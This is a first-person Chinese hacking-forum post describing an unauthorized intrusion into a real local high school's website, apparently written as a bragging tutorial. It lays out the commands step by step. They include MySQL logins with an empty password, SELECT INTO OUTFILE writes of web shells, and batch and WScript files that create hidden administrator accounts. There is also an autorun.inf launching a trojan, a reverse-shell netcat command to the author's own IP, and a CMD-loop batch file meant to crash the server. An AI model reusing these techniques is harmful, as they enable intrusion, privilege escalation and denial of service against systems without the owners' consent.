论坛风格切换切换到宽版
  • 4689阅读
  • 60回复

网上有许多文章和帖子都是讲入侵的,但里面所叙述 [复制链接]

上一主题 下一主题
离线system
 
发帖
4294967285
C币
-883
威望
460
贡献值
111
银元
87
铜钱
6796
人人网人气币
0
只看楼主 倒序阅读 使用道具 楼主  发表于: 2010-11-12
— 本帖被 csugirl 从 竞拍中心 移动到本区(2011-02-14) —
DELSTARTDELEND
网上有许多文章和帖子都是讲入侵的,但里面所叙述的入侵大多都过于简单,一般就是拿着傻瓜化的工具,输几个字母或按几下鼠标就进去了,难道这就是所谓的入侵么?不,真正的入侵可没这么简单,不是随便利用一些教程的方法去套就能进去的,入侵是门艺术,要做好这么艺术,需要的是智慧和永不放弃的精神,更需要有精明的头脑,灵活的运用已知的一些信息,入侵可不是三两下子就能完成的,1天,1个星期都有可能,好了,不讲大道理了,来看看俺入侵的经历吧。一天在上了本地一个重点高中的网站,听说这个学校的计算机很厉害,也是本人心仪以久的中学(没办法,初3了……),但是我习惯性的在一个新闻后面输入:http://host/home/xwzx/xwzxfile.php?id=53于是入侵就这样开始了……1,信息收集与分析:输入完后出现了下面的字:Warning: Supplied argument is not a valid MySQL result resource in D:wangzhanhomexwzxxwzxfile.php on line 191这一行字真让我欣喜不以,它不仅暴露出了网站的数据库是MYSQL的,还显示出了网站的物理路径。接着我拿出X-WAY扫了它的IP,发现只开了21,445,80,3306端口,很有可能装了防火墙或是端口过滤,扫描了CGI等漏洞,并没有发现什么有价值的漏洞,仔细看看者个网站的模版,并不象是现成的,很有可能是自己编的,仔细分析下来已经有了3个突破口:1,21端口,FTP IP 21,得到BANNER是Serv-U的FTP服务,好象Serv-U并没有什么可以直接利用远程得到密码漏洞,不过可以暴力破解,是一个安全隐患。2,80端口,既然页面是可以交互的PHP,接着我注意到下面有个网站管理的入口,管理员并没有把它删掉,看来安全意识不强,很有可能用SQL注射攻入,不过我并会MYSQL注射,不过MSSQL和MYSQL都是SQL我想注射的方法也不会差太多,不过MYSQL没什么权限,但是只要能猜出页面管理员的入口的口令就差不多了,还值得一提的是网站还有个论坛,是紫桐的,版本不清楚,应该可以利用。3,3306端口,MYSQL服务的端口,很有可能存在弱口令,就算没有也可以用MYSQL暴力破解器来破解密码。telnet ip 80get得到的banner是IIS5.0,看来主机是iis5.0+php+mysql3,攻击开始:首先试试成功几率最大的MYSQL吧,下载了一个牛族MYSQL连接器,输入对方IP,密码为空,点“开始连接”。结果非常另人激动,那就是成功的连上去了,看来这所学校不是很重视网络安全,本以为接下来的事会很简单,但事与愿违,我又遇到了更复杂的情况。有了MYSQL空密码以后的一般思路就是:先建立一个表,接着一行一行把ASP后门的代码写进去,接着导出,这样就变成了WEBSHELL,最后就是提升权限,用牛族连上去后,我就开始实现上面的思路,先在上面的框框里输入:use mysql;发送命令“发送use mysal;成功!”create table tmp(cmd TEXT)发送命令“发送create table tmp(cmd TEXT)成功!”说明:选择在名叫mysql的库中建一个名叫tmp的表,这个表只有一个字段名叫cmd,数据类型为TEXT再生成的表中写入内容并导出到系统目录上然后删除键的表insert into tmp values(""" method=""OST"">"">写好后,再导出放在d:wangzhanhome,存为cmd.asp,还有d:注意啊是双斜杠由于换行的原因必须一行一行的写进去,还有ASP文件里的双引号都要用两个双引号代替.花了10几分钟终于写好了,访问URL:http://www.%school%.com/home/cmd.asp,却出现了“505 服务器内部错误”,看的我一头雾水,仔细想想,莫非服务器不支持ASP?!我没往下想,先想办法再说,因为我已经写入了,我现在又不能删除,如果被管理员发现那个ASP就糟了,于是我再重网上DOWN了一个PHPSHELL,用记事本一打开,代码的长度是CMD.ASP的N倍,如果要一行一行的输入进去的话……于是我找朋友要了一个CMD下的MYSQL连接器,在CMD下输入:mysql -h ip -uroot意思是连接远程的MYSQL,并且执行php.sql里的SQL语句,php.sql的代码:use test;create table tmp(cmd TEXT);insert into tmp values(phpshell每行的代码)insert into tmp values(phpshell每行的代码)insert into tmp values(phpshell每行的代码)……select * from tmp into outfile D:wangzhanwangzhancmd2.php;drop table tmp;意思跟上面说的差不多,也是一行一行的输入代码(由于PHP要换行的原因,所以要一行一行输),接着导出,最后删除,只是我编辑php.sql时候用了些小技巧,如果在每行PHPSHELL代码前都添加insert into tmp values(和末尾都添加)的话,工程量是可想而知的,所以我就用了一个特殊文本编辑器—易优超级字典生成器注册版,它有一个小功能,在修改字典里,有两个选项,一个是“在每个密码前插入字符串”另一个是“在每个密码后插入字符串”嘿嘿,聪明的读者应该想到了吧,先把phpshell.php改为phpshell.txt,接着用它编辑,勾选那两个选项,然后分别写上insert into tmp values(,(由于一次不能写这么多,所以我就写 tmp values,输出好后,再插入insert into)和),(不过首先用记事本打开那个phpshell.txt,把所以的"改为"",然后才能用易优超级字典生成器注册版编辑,因为SQL语句里所有的"都要用""代替,真是麻烦……)输出好后,再加上use test;select * from tmp into outfile D:wangzhanwangzhancmd2.php;drop table tmp;最后改名为php.sql,好了,回到上面,mysql -h ip -uroot回车后出现:error on line 47 ""……还有一些,由于当时没截图,就记不清了,反正意思是"" "/*"等等这类的字符无法导入,当时的心情真是·#¥……%,也许这时许多人都会想到放弃,但是黑客的精神就是“永不放弃”啊!~(虽然俺不是黑客)3,山穷水尽于是重新在网上DOWN了一个功能超强的MYSQL管理工具—EMS MySQL Manager 2好险是半中文界面,试了几次后,终于把操作方法摸熟了,大家可以看到,随便进入了一个项,点右键—新建表,然后把表的名字改为love,点下一步,把类型改为TEXT,最后点“好的”接着右键点LOVE表,数据操作—导入数据—点选导入文本,然后打开phpshell.txt,最后点完成,最后等待了,完成后,仔细看了表里的内容,确认和phpshell原代码一样后,用牛族MYSQL连接器导出了,用浏览器浏览,还是出现错误,真实郁闷啊,哪位高手知道到底是怎么回事一定要告诉我,小弟不甚感激。接着我想到了那个BBS,正好MYSQL里有个BBS的项,进入,打开USER的表,第一行就是WEBMASTER,密码是用32位MD5加密的,用MD5解密,纯数字和字典都没成功,看来只好放弃了……然后我又想到了用autorun.inf和BAT,于是,我再一次打开了牛族MYSQL连接器,输入:insert into tmp values("net user shuangfeng /add")发送命令(成功)insert into tmp values("net localgroup administrators shuangfeng /add")发送命令(成功)insert into tmp values("net start telnet")发送命令(成功)insert into tmp values("del telnet")发送命令(成功)select * from tmp into outfile "d: elnet.bat"drop table tmp写完BAT后再写autorun.infinsert into tmp values("[AutoRun]")发送命令(成功)insert into tmp values("OPEN= d:muma.exe /autorun")发送命令(成功)select * from tmp into outfile "d:autorun.inf"drop table tmp我把这两个文件C盘,D盘,E盘都放了,看看表11点48了,有点困了,先睡吧。4,绝处逢生第2天一打开电脑,就在cmd里输入telnet ip,返回的却是:正在连接到xxx.xxx.xxx.xxx...不能打开到主机的连接, 在端口 23: 连接失败当时真的很郁闷,又想到了21的FTP,又一个思路冒出来,下载一个serv-u,设置好密码后在把serv-udaemon.ini写进对方主机,最后登陆,不过仔细想想还是不行,因为MYSQL导出的文件不能覆盖其他文件……不行,我还是不能放弃,我把注意力转移到MYSQL的数据上,仔细搜索,发现一个“wangzhan"的列,进入后发现USER的表,看到里面有几个帐号,密码是名文保存的,接着我联想到网站上的管理系统,于是马上依照了第一个行的帐号登入,结果证明了我的猜测,我成功的进入了,只有发布新闻,下载等栏目,并没有什么关于设置的选项,但是我还是试了一下,点发布新闻,一个“上传图片”的框框映入了我的眼帘,我试着用它上传phpshell,填好标题,内容等后,点了确定,另人激动的时刻到了,我成功了,顺利的传了上去,看来终究是自己编的,竟然没有对后错名做限制,出现:home/photo/2013245321.php上传成功,结果我通过这个路径,得到了phpshell,当时的心情真是无法用言语形容,但是我们现在的权限还太小,只能读写文件,要取道ADMIN权限才能算真正的占领,接着我开始了提升权限……5,最后的决战经过不懈的努力,终于有一个PHPSHELL,这个小小的SHELL,整整经过我2天的努力,最后就是提升权限了,再上传一个NC,反向连接:back(被我改名了) myip 53 -e cmd.exe就是把帮定的CMDSHELL返回到我的53端口上,然后在自己机上运行back -vv -l -p 53顺利的得到了SHELL得到CMDSHELL先看看是什么系统type %windir%system32$winnt$.inf发现有win adv,这几个字母,初步判定是win高级服务器版再看看他打了什么补丁吧,输入:regedit /e r.reg HKLMSoftwareMicrosoftWindows NTCurrentVersionhotfix,意思是导出HKLMSoftwareMicrosoftWindows NTCurrentVersionhotfix,里面含有补丁的信息,但没成功导出,怎么办呢,仔细看看WINNT里面的目录,发现有一些Q打头的LOG文件,它就是打了SP后遗留下来的日志文件,用TYPE命令查看,里面有许多是SP4的文件名,很有可能打了SP4,那样的话就麻烦了……首先试试WMI吧,是eyas写的提升权限的东西,可以在SP3的机上建立一个XX的超级管理员,上传并运行以后,结果在我意料之中—拒绝访问,看来真的打了SP4,这样可就麻烦了,输入net start,看看开了什么服务,发现几个可以利用的服务:mysqlServ-U于是我开是替换服务了,但可悲的是,这两个软件都装在C盘,而且C盘是NTFS,更改名字就是拒绝访问,杀进程就更别说了,哎,感觉又没有办法了,但是我还是不能放弃!(神都应该被我的精神感动了吧)仔细想想,我又回到了MYSQL上面,因为MYSQL肯定是ADMIN装的,也就是说隶属于ADMIN的启动范围之类,也就是说可以利用它写个脚本然后放在“启动”项内,于是我赶紧输入:use test;create table 2(cmd TEXT);insert into 2 values ("set wsh=CreateObject(""WScript.Shell"")")insert into 2 values ("wsh.run ""net.exe user aaa aa /add"",0")insert into 2 values ("wsh.run ""net localgroup administrators aaa /add"",0")insert into 2 values ("wsh.run "net start telnet",0")最后导出在所有USER的“启动”项内,最后就是等服务器重起了,不过俺是个急性子的人,利用messenge漏洞吧,虽然它不能得到SHELL但能使服务器重起,但仔细一看原来服务器根本就没启动MESSENGE服务,更别说漏洞了……怎么办呢,写个BAT吧,内容为::beginstart cmdgoto begin也就是不停的运行CMD,呵呵,更拒绝服务差不多,不一会CPU就会SAY GOODBYE了。重起之后的事就不用说了吧…… 【返回黑客之路目录】[ 此帖被l3692430661在2010-08-26 20:46重新编辑 ]





评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水